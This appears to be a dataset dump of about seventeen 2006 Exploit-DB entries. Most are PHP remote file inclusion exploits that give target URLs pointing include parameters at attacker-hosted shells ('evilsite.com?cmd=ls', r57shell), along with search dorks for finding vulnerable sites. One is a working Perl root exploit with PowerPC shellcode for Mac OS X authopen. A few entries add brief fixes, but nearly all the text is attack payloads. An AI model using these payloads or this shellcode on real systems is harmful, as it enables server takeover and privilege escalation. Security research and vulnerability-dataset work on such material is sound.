QLWD/code_shield huggingface dataset:
标题: Torbstoff News 4 - 'pfad' Remote File Inclusion EDB-ID: 2121 CVE: 2006-4045 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: #=================================================================
#Torbstoff News 4 <= (pfad) Remote File Inclusion Exploit
#================================================================
#                                                                |
#Critical Level : Dangerous                                      |
#                                                                |
#Venedor site : http://www.torbstoff.de                          |
#                                                                |
#Version : 4                                                     |
#                                                                |
#=================================================================
#
#Dork: "Torbstoff News 4"
#
#=================================================================
#Bug in : news.php
#
#Vlu Code :
#
#       include($pfad . "includes/config.inc.php");
#
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/news.php?pfad=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Bl@Ck^B1rd Semsemmasr Black_Scorpion Medo_Ye7ya Kambaa  NANA Kashtawa
#Skiing Gendiaaa Saw AzIZa SnIpEr_Sa Masry OSA FEGLA 3amer
=================================================================

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2121
标题: ME Download System 1.3 - 'header.php' Remote File Inclusion EDB-ID: 2122 CVE: 2006-4053 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: +--------------------------------------------------------------------
+
+ ME Download System 1.3 Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: ME Download System 1.3
+ Venedor ...........: http://www.ehmig.net/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_282.htm
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+ Affected Files ....: templates/header.php
+
+--------------------------------------------------------------------
+
+ Code of /templates/header.php:
+
+ .....
+ <?php
+ include($Vb8878b936c2bd8ae0cab.'/settings_style.php');
+ .....
+
+--------------------------------------------------------------------
+
+ $Vb8878b936c2bd8ae0cab is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Include config-File in header.php:
+
+--------------------------------------------------------------------
+
+ PoC:
+ http://[target]/templates/header.php?$Vb8878b936c2bd8ae0cab=http://evilsite.com?cmd=ls
+
+--------------------------------------------------------------------
+
+ Notice:
+ Maybe there are more RFI-Vulns in other files, but it's very hard
+ to read this code.
+
+ Venedor has been contacted, but I didn't received any answer.
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini Gonzales
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2122
标题: Apple Mac OSX 10.3.8 - 'CF_CHARSET_PATH' Local Buffer Overflow (2) EDB-ID: 2111 CVE: 2005-0716 类型: LOCAL 平台: OSX 发布日期: 2006-08-02 漏洞利用脚本: #!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# Variant of CF_CHARSET_PATH a local root exploit by v9_at_fakehalo.us
#
# I was in the mood for some retro shit this morning, and I need root on some old ass G3 iMacs for a demo.
#
# I got sick of pressing enter on v9's exploit. It gets in the way when scripting attacks.
#
# Jill-Does-Computer:/tmp jilldoe$ ./authopen-CF_CHARSET.pl 0
# *** Target: 10.3.7 Build 7T65 on PowerPC, Padding: 1
# sh-2.05b# id
# uid=502(jilldoe) euid=0(root) gid=502(jilldoe) groups=502(jilldoe), 79(appserverusr), 80(admin), 81(appserveradm)
#
#

foreach $key (keys %ENV) {

   delete $ENV{$key};

}

#// ppc execve() code by b-r00t + nemo to add seteuid(0)
$sc =
"\x7c\x63\x1a\x79" .
"\x40\x82\xff\xfd" .
"\x39\x40\x01\xc3" .
"\x38\x0a\xfe\xf4" .
"\x44\xff\xff\x02" .
"\x39\x40\x01\x23" .
"\x38\x0a\xfe\xf4" .
"\x44\xff\xff\x02" .
"\x60\x60\x60\x60" .
"\x7c\xa5\x2a\x79" .
"\x40\x82\xff\xfd" .
"\x7d\x68\x02\xa6" .
"\x3b\xeb\x01\x70" .
"\x39\x40\x01\x70\x39\x1f\xfe\xcf" .
"\x7c\xa8\x29\xae\x38\x7f\xfe\xc8" .
"\x90\x61\xff\xf8\x90\xa1\xff\xfc" .
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb" .
"\x44\xff\xff\x02\x7c\xa3\x2b\x78" .
"\x38\x0a\xfe\x91\x44\xff\xff\x02" .
"\x2f\x62\x69\x6e\x2f\x73\x68\x58";

$tgts{"0"} = "10.3.7 Build 7T65 on PowerPC:1";
$tgts{"1"} = "10.3.7 debug 0x41424344:0";

unless (($target) = @ARGV) {

       print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

       foreach $key (sort(keys %tgts)) {
               ($a,$b) = split(/\:/,$tgts{"$key"});
               print "\t$key . $a\n";
       }

       print "\n";
       exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a, Padding: $b\n";

# add a wrapper here if you want more than euid=0
open(SUSH,">/tmp/sh");
printf SUSH "/bin/csh -i\n";

$ENV{"CF_CHARSET_PATH"} = "A" x 1048 . pack('l', 0xbffffef6) x 2;

$ENV{"APPL"} = "." x $b . "iiii" x 40 . $sc ;

system("/usr/libexec/authopen /etc/master.passwd");

# milw0rm.com [2006-08-02] URL: https://www.exploit-db.com/exploits/2111
标题: SaveWeb Portal 3.4 - 'SITE_Path' Remote File Inclusion EDB-ID: 2113 CVE: 2006-4012 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-02 漏洞利用脚本: ///////////////////CYBER-WARRiOR.ORG\\\\\\\\\\\\\\\\\\\\\

#SaveWeb Portal 3.4 <- (SITE_Path) Remote File Inclusion Vulnerability

#Author: xoron

#script: SaveWeb Portal

#Class : Remote

#cont@ct: x0r0n[at]hotmail[dot]com

#CODE:    include($SITE_Path."poll/poll.php")

#Exploit:
http://www.site.com/[path]/menu_dx.php?SITE_Path=http://evil_scripts?
http://www.site.com/[path]/poll/poll.php?SITE_Path=http://evil_scripts?
http://www.site.com/[path]/poll/view_polls.php?SITE_Path=http://evil_scripts?

#Thanx : WWW.CYBER-WARRiOR.ORG

#Greetz: DJR, x-mastER, LASTSCREAM , zip72_72, R3D4C!D and all cyber-warrior users.

# milw0rm.com [2006-08-02] URL: https://www.exploit-db.com/exploits/2113
标题: TSEP 0.942 - 'colorswitch.php' Remote File Inclusion EDB-ID: 2116 CVE: 2006-4055 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-02 漏洞利用脚本: Script: TSEP <= 0.942
URL:  www.tsep.info
Discovered: beford <xbefordx gmail com>
Comments: "register_globals" must be enabled duh.
document.this != http://www.milw0rm.com/exploits/2098
Vulnerable Files/Code:

./tsep.0942/include/colorswitch.php?tsep_config[absPath]=http://rst.void.ru/download/r57shell.txt?
./tsep.0942/include/printpagedetails.php => require_once(
$tsep_config["absPath"]."/include/convert_htmlent.php" );
./tsep.0942/include/ipfunctions.php => require_once(
$tsep_config["absPath"]."/include/IPv6.php" );
./tsep.0942/include/contentimages.class.php => require_once(
$tsep_config["absPath"]."/include/contentimages.class.php" );
./tsep.0942/include/configfunctions.php => require_once(
$tsep_config["absPath"]."/include/mmexfunctions.php" );
./tsep.0942/include/log.class.php => require_once(
$tsep_config["absPath"]."/include/tseptrace.php" );

Not-leet-enough: "Powered By TSEP"

POC:
http://hax.com/tsep/include/colorswitch.php?tsep_config[absPath]=http://remotefile/?

# milw0rm.com [2006-08-02] URL: https://www.exploit-db.com/exploits/2116
标题: TSEP 0.942 - 'copyright.php' Remote File Inclusion EDB-ID: 2098 CVE: 2006-4085 2006-4055 2006-3993 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-01 漏洞利用脚本: +--------------------------------------------------------------------
+
+ TSEP 0.9.4.2
+
+--------------------------------------------------------------------
+
+ Affected Software .: TSEP 0.9.4.2
+ Venedor ...........: http://www.tsep.info/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code /include/copyright.php:
+
+ .....
+ <?php require ( $tsep_config["absPath"]."/include/tsepversion.txt" ); ?>
+ .....
+
+--------------------------------------------------------------------
+
+ $tsep_config["absPath"] is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Include config-File in copyright.php
+
+--------------------------------------------------------------------
+
+ PoC:
+ Place a PHPShell on a remote location:
+ http://evilsite.com/include/tsepversion.txt
+
+ http://[target]/include/copyright.php?tsep_config[absPath]=http://evilsite.com?cmd=ls
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini Gonzales (5 YEARS :P)
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-01] URL: https://www.exploit-db.com/exploits/2098
标题: k_shoutbox 4.4 - Remote File Inclusion EDB-ID: 2103 CVE: 2006-3989 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-01 漏洞利用脚本: >>> Kurdish Security

>>> ShoutBox Remote Command Execution

>>> Freedom For Ocalan

>>> Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com

>>> Rish : High

>>> Class : Remote

>>> Script : ShoutBox

>>> Site : http://www.knusperleicht.at

Code :


//**********************************************************
//  INCLUDE PATH
define('SB_INCLUDE_PATH', $sb_include_path);
//  INCLUDE PATH
//**********************************************************

include SB_INCLUDE_PATH.'inc/config.inc.php';
require_once SB_INCLUDE_PATH.'lang/'.SB_LANGUAGE.'/'.SB_LANGUAGE.'.lang.inc.php';
require_once SB_INCLUDE_PATH.'inc/Sb_template.php';
require_once SB_INCLUDE_PATH.'inc/Sb_bbcode.php';
require_once SB_INCLUDE_PATH.'inc/Sb_stuff.php';
require_once SB_INCLUDE_PATH.'inc/Sb_database.php';
if(SB_INCLUDE_PATH == "")  {


http://www.site.com/[path]/sb/index.php?sb_include_path=http://[site]/evilcode.txt?&cmd=id

# milw0rm.com [2006-08-01] URL: https://www.exploit-db.com/exploits/2103
标题: Voodoo chat 1.0RC1b - 'file_path' Remote File Inclusion EDB-ID: 2102 CVE: 2006-3991 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-01 漏洞利用脚本: #=================================================================
#Voodoo chat 1.0RC1b <= (file_path) Remote File Inclusion Exploit
#================================================================
#                                                                |
#Critical Level : Dangerous                                      |
#                                                                |
#Venedor site : http://vochat.com/                               |
#                                                                |
#Version : 1.0                                                   |
#                                                                |
#=================================================================
#Bug in : index.php
#
#Vlu Code :
#--------------------------------
#//here it can fails, i don't care. will be used default system language
#
#   else include_once($file_path."languages/".$language.".php");
#
#   include($file_path."designes/".$design."/index.php");
#?>
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/index.php?file_path=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Bl@Ck^B1rd Semsemmasr Black_Scorpion Medo_Ye7ya Kambaa  NANA Kashtawa
#Skiing Gendiaaa Saw AzIZa SnIpEr_Sa Masry OSA FEGLA 3amer
=================================================================

# milw0rm.com [2006-08-01] URL: https://www.exploit-db.com/exploits/2102
标题: PhpReactor 1.2.7pl1 - 'pathtohomedir' Remote File Inclusion EDB-ID: 2095 CVE: 2006-3983 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-31 漏洞利用脚本: ###########################    www.system-defacers.org         ###############
#    Found By CeNGiZ-HaN cengiz-han@system-defacers.org
#    phpreactor 1.2.7 pl 1 pathtohomedir inclusion vulnerability
############################################################################
#    Vulnerable Code in editprofile.php
#      //INCLUDE DB FUNCTIONS
#   if(!defined("REACTOR_INC_DB")) { include($pathtohomedir."/inc/db.inc.php"); }
#   //INCLUDE LANGUAGE FUNCTIONS
#   if(!defined("REACTOR_INC_LANG")) { include($pathtohomedir."/inc/lang.inc.php"); }
#   //INCLUDE USERS FUNCTIONS
#   if(!defined("REACTOR_INC_USERS")) { include($pathtohomedir."/inc/users.inc.php"); }
#   //INCLUDE BBS FUNCTIONS
#   if(!defined("REACTOR_INC_BBS")) { include($pathtohomedir."/inc/bbs.inc.php"); }
#
#
#              http://[target]/[path]/editprofile.php?pathtohomedir=http://phpshell.txt?
#
##############################################################################
#
#        W W W . S Y S T E M - D E F A C E R S . O R G
#
##############################################################################

# milw0rm.com [2006-07-31] URL: https://www.exploit-db.com/exploits/2095
标题: MyNewsGroups 0.6b - 'myng_root' Remote Inclusion EDB-ID: 2096 CVE: 2006-3966 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-31 漏洞利用脚本: +--------------------------------------------------------------------
+
+ MyNewsGroups :) v. 0.6b <= Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: MyNewsGroups :) v. 0.6b
+ Venedor ...........: http://mynewsgroups.sourceforge.net
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code /lib/tree/layersmenue.inc.php:
+
+ .....
+ <?php
+ // PHP Layers Menu 2.3.5 (C) 2001-2003 Marco Pratesi (marco at telug dot
it)
+
+ require_once $myng_root."/pear/PEAR.php";
+ .....
+
+--------------------------------------------------------------------
+
+ $myng_root is not properly sanitized before being used.
+ The bug is in the "PHP Layers Menu 2.3.5" Package for MyNewsGroups.
+
+--------------------------------------------------------------------
+
+ Solution:
+ Add this line to your php-file:
+
+ $myng_root ="bla/bla" //Your root path
+
+--------------------------------------------------------------------
+ PoC:
+ Place a PHPShell on a remote location:
+ http://evilsite.com/pear/PEAR.php/index.html
+
+
http://[target]/lib/tree/layersmenu.inc.php?myng_root=http://evilsite.com/P
EAR.php/&cmd=ls
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini&Lenni
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-07-31] URL: https://www.exploit-db.com/exploits/2096
标题: newsReporter 1.1 - 'index.php' Remote File Inclusion EDB-ID: 2101 CVE: 2006-3988 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-01 漏洞利用脚本: >>> Kurdish Security

>>> newsReporter v1.1 Remote Command Execution

>>> Freedom For Ocalan

>>> Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com

>>> Rish : High

>>> Class : Remote

>>> Script : newsReporter

>>> Site : http://www.knusperleicht.at

Code :

// removed the old code because it was not correct. /str0ke

//  INCLUDE PATH
@define(NEWS_INCLUDE_PATH, $news_include_path);
//  INCLUDE PATH

//Dateien importieren
include NEWS_INCLUDE_PATH."inc/config.inc.php";

Vulnerability :
http://www.site.com/[scriptpath]/index.php?news_include_path=[script]

# milw0rm.com [2006-08-01] URL: https://www.exploit-db.com/exploits/2101
标题: phpAuction 2.1 - 'phpAds_path' Remote File Inclusion EDB-ID: 2100 CVE: 2006-3984 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-01 漏洞利用脚本: +--------------------------------------------------------------------
+
+ PHPAuction 2.1 Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: PHPAuction 2.1 (maybe higher)
+ Venedor ...........: http://www.phpauction.net,
+ Class .............: Remote File Inclusion in /phpAdsNew/view.inc.php
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code /phpAdsNew/view.inc.php:
+
+ .....
+ // Include required files
+ require ("$phpAds_path/dblib.php");
+ require ("$phpAds_path/lib-expire.inc.php");
+ .....
+
+--------------------------------------------------------------------
+
+ $phpAds_path is not properly sanitized before being used.
+
+--------------------------------------------------------------------
+
+ Solution:
+ Declare $phpAds_path before using.
+
+--------------------------------------------------------------------
+ PoC:
+ Place a PHPShell on a remote location:
+ http://evilsite.com/dblib.php/index.html
+
+ http://[target]/phpAdsNew/view.inc.php?phpAds_path=http://evilsite.com/dblib.php/&cmd=ls
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini&Lenni
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-01] URL: https://www.exploit-db.com/exploits/2100
标题: WoW Roster 1.5.1 - 'subdir' Remote File Inclusion EDB-ID: 2099 CVE: 2006-3998 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-01 漏洞利用脚本: --------------------------------------------------------------------------------
Title : WoW Roster <= 1.5.1 Remote File Include Vulnerabilities
###############################################################################
Discovered By Skulmatic
-----------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application :  World of Warcraft (WoW) Roster
URL :  http://www.wowroster.net/
-----------------------------------------------------------------------------

dork        : "wow roster version 1.5.*"
Exploit     : 
http://[target]/[wow_roster_path]/conf.php?subdir=http://[attacker]/cmd.txt?&cmd=ls           
              
------------------------------------------------------------------------------

greatz:
~~~~
# special to song hye kyo (for inspiration)
# To all members of #papmahackerlink and #hackid, OLiBekaS, cgibin, weleh, skulmatic, sikunYuk, brokencode, ulga, SaMuR4i_X, bigmaster.
-------------------------------------------------------------------------------

Contact:
~~~~~~
Nick: skulmatic
E-mail: skulmatic[at]gmail[dot]Com

--------------------------------- [ eof ] ---------------------------------------

# milw0rm.com [2006-08-01] URL: https://www.exploit-db.com/exploits/2099
标题: k_fileManager 1.2 - 'dwl_include_path' Remote File Inclusion EDB-ID: 2104 CVE: 2006-3987 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-01 漏洞利用脚本: #=================================================================
#K_fileManager v1.2 <= (dwl_include_path) Remote File Inclusion Exploit
#================================================================
#                                                                |
#Critical Level : Dangerous                                      |
#                                                                |
#Venedor site : http://knusperleicht.at/                         |
#                                                                |
#Version : 1.2                                                   |
#                                                                |
#=================================================================
#Bug in : index.php
#
#Vlu Code :
#--------------------------------
#/**********************************************************
#//  INCLUDE PATH
#@define("DWL_INCLUDE_PATH",$dwl_include_path);
#//  INCLUDE PATH
#//**********************************************************
#
#//Dateien importieren
#       require_once(DWL_INCLUDE_PATH."inc/config.inc.php");
#       require_once(DWL_INCLUDE_PATH."lang/".FM_LANGUAGE."/lang.inc.php");
#       require_once(DWL_INCLUDE_PATH."inc/Dwl_template.php");
#       require_once(DWL_INCLUDE_PATH."inc/Dwl_db.php");
#       require_once(DWL_INCLUDE_PATH."inc/Dwl_directory.php");
#       require_once(DWL_INCLUDE_PATH."inc/Dwl_stuff.php");
#       require_once(DWL_INCLUDE_PATH."inc/Dwl_statistic.php");
#
#
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/index.php?dwl_include_path=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Bl@Ck^B1rd Semsemmasr Black_Scorpion Medo_Ye7ya Kambaa  NANA Kashtawa
#Skiing Gendiaaa Saw AzIZa SnIpEr_Sa Masry OSA FEGLA 3amer
=================================================================

# milw0rm.com [2006-08-01] URL: https://www.exploit-db.com/exploits/2104
标题: NewsLetter 3.5 - 'NL_PATH' Remote File Inclusion EDB-ID: 2097 CVE: 2006-3986 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-01 漏洞利用脚本: #=================================================================
#NewsLetter v3.5 <= (NL_PATH) Remote File Inclusion Exploit
#================================================================
#                                                                |
#Critical Level : Dangerous                                      |
#                                                                |
#Venedor site : http://knusperleicht.at/                         |
#                                                                |
#Version : 3.5                                                   |
#                                                                |
#=================================================================
#Bug in : index.php
#
#Vlu Code :
#--------------------------------
#      /**
# *     Erforderliche Datein einbinden
# */
#
#      require ("$NL_PATH"."inc/config.inc.php");
#      require ("$NL_PATH"."inc/engine.inc.php");
#
#/**
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/index.php?NL_PATH=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Bl@Ck^B1rd Semsemmasr Black_Scorpion Medo_Ye7ya Kambaa  NANA Kashtawa
#Skiing Gendiaaa Saw AzIZa SnIpEr_Sa Masry OSA FEGLA 3amer

# milw0rm.com [2006-08-01] URL: https://www.exploit-db.com/exploits/2097
标题: Joomla! Component LMO 1.0b2 - Remote File Inclusion EDB-ID: 2092 CVE: 2006-3970 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-30 漏洞利用脚本: Application : LMO - Joomla! Component

URL : http://forge.joomla.org/sf/projects/lmo

Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on
in components/com_lmo/lmo.php on line 11-12

$lmo_dateipfad=$mosConfig_absolute_path."/administrator/components/com_lmo/";
$lmo_url=$mosConfig_live_site."/administrator/components/com_lmo/";
 
Exploit:
~~~~~~~~

dork: "com_lmo"

http://www.vuln.com/components/com_lmo/lmo.php?mosConfig_absolute_path=http://evilhost

Fix
~~~~

Add before code:
defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

vitux
 
#vitux.manis@gmail.com

# milw0rm.com [2006-07-30] URL: https://www.exploit-db.com/exploits/2092